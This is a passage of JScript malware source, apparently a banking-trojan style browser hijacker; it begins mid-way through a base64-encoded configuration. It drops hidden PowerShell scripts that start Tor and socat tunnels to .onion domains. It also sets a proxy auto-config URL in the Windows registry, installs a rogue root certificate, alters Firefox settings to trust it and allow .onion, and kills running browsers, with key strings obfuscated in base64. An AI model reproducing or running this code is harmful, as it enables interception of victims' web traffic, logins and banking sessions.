g0QkEgaWF0LW1vZGU9MA0KQnJpZGdlIG9iZnM0IDM1LjE4Ny4yMTYuMjMwOjk0NDMgMzU0N0ZGRjlGNkFGNTEwOTNFMTI5MEVCOTEwMTk5QTdFOTIwODUxMiBjZXJ0PVdjWFIzZkVIZUF3NWJISjNScXIvdkFoTHp5ZC9XL3cwYmlzbk9jZmxtYy9IU0NiTTVGWXF0UVFGZE9ObEl1Z3dkS205ZXcgaWF0LW1vZGU9MA0KQnJpZGdlIG9iZnM0IDEwOS43NC4xOTguMjUyOjM3NzcxIDgxNjdGMjI1NDA1QkZBNzE2MzNCRDJCQzVCODU5OUExQTgyN0ZDRjMgY2VydD04ZktUY2xndUxJNnZ1RE5ybFRSclZqNDZ2MjNOWVFUczJUVUFwSXBuYXk1MkhVVUIrcUZ4VXpHaTNta2ordEw5bytTQ1p3IGlhdC1tb2RlPTANCg==';
}
$tor=$tor.Replace('\','/');
$tor_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$tor',0,false))`"";
AddTask 'SUT' 'mshta.exe' $tor_cmd;
$SFile=$env:Temp+'\s.zip';
(New-Object System.Net.WebClient).DownloadFile('https://github.com/StudioEtrange/socat-windows/archive/1.7.2.1.zip',$SFile);
Unzip $SFile $DestTP;
$s_old=$DestTP+'\socat-windows-1.7.2.1\';
rm -Force $SFile;
Rename-Item -path $s_old -newName 's';
$s_fold=$DestTP+'\s\';
$s1cmd='socat tcp4-LISTEN:5555,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:80,socksport=9050';
$s2cmd='socat tcp4-LISTEN:5588,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:%DOMAIN%:5588,socksport=9050';
$s1_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s1cmd',0,false))`"";
$s2_cmd="`"javascript:close(new ActiveXObject('WScript.Shell').Run('$s2cmd',0,false))`"";
AddTask 'MRT' 'mshta.exe' $s1_cmd 0 0 $s_fold;
AddTask 'SC' 'mshta.exe' $s2_cmd 0 0 $s_fold;
}
ITP"
};
var Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(e) {
var t = "";
var n, r, i, s, o, u, a;
var f = 0;
e = Base64._utf8_encode(e);
while (f < e.length) {
n = e.charCodeAt(f++);
r = e.charCodeAt(f++);
i = e.charCodeAt(f++);
s = n >> 2;
o = (n & 3) << 4 | r >> 4;
u = (r & 15) << 2 | i >> 6;
a = i & 63;
if (isNaN(r)) {
u = a = 64
} else if (isNaN(i)) {
a = 64
}
t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) +
this._keyStr.charAt(u) + this._keyStr.charAt(a)
}
return t
},
decode: function(e) {
var t = "";
var n, r, i;
var s, o, u, a;
var f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = this._keyStr.indexOf(e.charAt(f++));
o = this._keyStr.indexOf(e.charAt(f++));
u = this._keyStr.indexOf(e.charAt(f++));
a = this._keyStr.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64) {
t = t + String.fromCharCode(r)
}
if (a != 64) {
t = t + String.fromCharCode(i)
}
}
t = Base64._utf8_decode(t);
return t
},
_utf8_encode: function(e) {
e = e.replace(/rn/g, "n");
var t = "";
for (var n = 0; n < e.length; n++) {
var r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r)
} else if (r > 127 && r < 2048) {
t += String.fromCharCode(r >> 6 | 192);
t += String.fromCharCode(r & 63 | 128)
} else {
t += String.fromCharCode(r >> 12 | 224);
t += String.fromCharCode(r >> 6 & 63 | 128);
t += String.fromCharCode(r & 63 | 128)
}
}
return t
},
_utf8_decode: function(e) {
var t = "";
var n = 0;
var r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) <<
6 | c3 & 63);
n += 3
}
}
return t
}
};
var Help = {
BinaryDataToFile: function(sFileName, bData) {
var streamW = new ActiveXObject("ADODB.Stream");
streamW.Open();
streamW.Type = BINARY_STREAM_TYPE;
var rs = new ActiveXObject("ADODB.Recordset");
var len = bData.length * 2;
rs.Fields.Append("data", 204, len, 0x80);
rs.Open();
rs.AddNew();
rs.Fields("data").AppendChunk(bData);
rs.Update();
rs.MoveFirst();
var binArray = rs("data").GetChunk(len);
rs.Close();
streamW.Write(binArray);
streamW.Position = 0;
if (fso.FileExists(sFileName)) {
fso.DeleteFile(sFileName)
}
streamW.SaveToFile(sFileName);
streamW.Close();
var outStreamA = new ActiveXObject("ADODB.Stream");
var outStreamB = new ActiveXObject("ADODB.Stream");
outStreamA.Type = TEXT_STREAM_TYPE;
outStreamB.Type = TEXT_STREAM_TYPE;
outStreamB.Charset = "ISO-8859-1";
outStreamA.Open();
outStreamB.Open();
outStreamA.LoadFromFile(sFileName);
outStreamA.Position = 0;
outStreamA.CopyTo(outStreamB);
outStreamA.Close();
outStreamB.SaveToFile(sFileName, CREATE_OVERWRITE_SAVE_MODE);
outStreamB.Close()
},
RandomNumber: function(m, n) {
m = parseInt(m, 10);
n = parseInt(n, 10);
return Math.floor(Math.random() * (n - m + 1)) + m
},
GenStr: function(length, special) {
var iteration = 0;
var password = "";
var randomNumber;
if (special === undefined) {
special = false
}
while (iteration < length) {
randomNumber = (Math.floor((Math.random() * 100)) % 94) +
33;
if (!special) {
if ((randomNumber >= 33) && (randomNumber <= 47)) {
continue
}
if ((randomNumber >= 58) && (randomNumber <= 64)) {
continue
}
if ((randomNumber >= 91) && (randomNumber <= 96)) {
continue
}
if ((randomNumber >= 123) && (randomNumber <= 126)) {
continue
}
}
iteration++;
password += String.fromCharCode(randomNumber)
}
return password
},
trim: function(str) {
return str.replace(/(^\s+)|(\s+$)/g, "")
}
};
if (!String.format) {
String.format = function(format) {
var args = Array.prototype.slice.call(arguments, 1);
return format.replace(/{(\d+)}/g, function(match, number) {
return typeof args[number] != "undefined" ? args[number] :
match
})
}
}
function C_IE() {
this.FileName = Help.GenStr(8) + ".ps1";
this.GetIp = function() {
var xhttp = new ActiveXObject("MSXML2.XMLHTTP");
try {
xhttp.open("GET", "http://api.ipify.org/", false);
xhttp.send();
if (xhttp.status == 200) {
return Help.trim(xhttp.responseText)
}
} catch (e) {}
try {
xhttp.open("GET", "http://icanhazip.com/", false);
xhttp.send();
if (xhttp.status == 200) {
return Help.trim(xhttp.responseText)
}
} catch (e) {
return ""
}
};
this.InstallPac = function() {
wss.RegWrite(Base64.decode(
"SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"
), 0, "REG_DWORD");
for (var i = 0; i < 5; i++) {
var sIp = this.GetIp();
if (sIp.length > 0) {
this.WriteReg(String.format(
"http://127.0.0.1:5555/{0}.js?ip={1}", Help.GenStr(
8), sIp))
}
}
};
this.WriteReg = function(s) {
wss.RegWrite(Base64.decode(
"SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"
), s, "REG_SZ")
};
this.IC = function() {
this.FileName = ENV_TEMP + "\\" + this.FileName;
var bData = Base64.decode(Cfg.ps);
bData = bData.replace("%CERT%", Cfg.cert);
Help.BinaryDataToFile(this.FileName, bData);
wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
"\"", 0, true)
};
this.Close = function() {
if (fso.FileExists(this.FileName)) {
fso.DeleteFile(this.FileName)
}
}
}
function C_FF() {
var StrFirefoxProfilesDir = ENV_APPDATA + "\\Mozilla\\Firefox\\Profiles";
this.FileName = Help.GenStr(8) + ".ps1";
this.GetProfile = function() {
if (fso.FolderExists(StrFirefoxProfilesDir)) {
var ArrFirefoxProfileList = fso.GetFolder(StrFirefoxProfilesDir)
.SubFolders;
if (ArrFirefoxProfileList.Count > 0) {
var e = new Enumerator(ArrFirefoxProfileList);
e.moveFirst();
while (e.atEnd() == false) {
var folder = e.item();
if (folder.Name.indexOf(".default") > -1) {
return folder.Path
}
e.moveNext()
}
}
}
return false
};
this.InstallPac = function() {
var StrProfile = this.GetProfile();
if (StrProfile != false) {
var StrPrefsJs = StrProfile + Base64.decode("XHByZWZzLmpz");
if (fso.FileExists(StrPrefsJs)) {
var StrContent = fso.OpenTextFile(StrPrefsJs, 1).ReadAll();
var ArrContent = StrContent.split("\n");
var NewArrContent = [];
for (var i = 0; i < ArrContent.length; i++) {
if (ArrContent[i].indexOf("network.dns.blockDotOnion") !=
-1) {
ArrContent[i] = ArrContent[i].replace("true",
"false")
}
if (ArrContent[i].indexOf("network.proxy.") == -1 &&
ArrContent[i].indexOf(
"security.enterprise_roots.enabled") == -1) {
NewArrContent.push(ArrContent[i])
}
}
NewArrContent.push(
"user_pref(\"network.dns.blockDotOnion\", false);");
NewArrContent.push(
"user_pref(\"security.enterprise_roots.enabled\", true);"
);
StrContent = NewArrContent.join("\n");
var stream = fso.CreateTextFile(StrPrefsJs, true);
stream.Write(StrContent);
stream.Close()
}
}
};
this.InstallCert = function() {
this.FileName = ENV_TEMP + "\\" + this.FileName;
var bData = Base64.decode(Cfg.psf);
bData = bData.replace("%CERT%", Cfg.cert);
Help.BinaryDataToFile(this.FileName, bData);
wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
"\"", 0, true)
};
this.Close = function() {
if (fso.FileExists(this.FileName)) {
fso.DeleteFile(this.FileName)
}
}
}
function C_TP() {
this.FileName = Help.GenStr(8) + ".ps1";
this.Install = function() {
var indexDomain = Help.RandomNumber(0, Cfg.dl.length - 1);
var Domain = Cfg.dl[indexDomain];
this.FileName = ENV_TEMP + "\\" + this.FileName;
var bData = Base64.decode(Cfg.pstp);
bData = bData.replace(/%DOMAIN%/g, Domain);
Help.BinaryDataToFile(this.FileName, bData);
wss.Run("powershell -ExecutionPolicy Unrestricted -File \"" + this.FileName +
"\"", 0, true)
};
this.Close = function() {
if (fso.FileExists(this.FileName)) {
fso.DeleteFile(this.FileName)
}
}
}
function Core() {
this.Init = function() {
Exp = new C_IE();
Fire = new C_FF();
TP = new C_TP()
};
this.S = function() {
this.Init();
TP.Install();
this.CAB();
this.IIE();
this.IF();
this.Close()
};
this.IIE = function() {
Exp.IC();
Exp.InstallPac()
};
this.IF = function() {
Fire.InstallCert();
Fire.InstallPac()
};
this.CAB = function() {
wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGlleHBsb3JlLmV4ZQ=="),
0, false);
wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGZpcmVmb3guZXhl"), 0,
false);
wss.Run(Base64.decode("dGFza2tpbGwgL0YgL2ltIGNocm9tZS5leGU="), 0,
false)
};
this.Close = function() {
Exp.Close();
Fire.Close();
TP.Close()
}
}
var main = new Core();
main.S();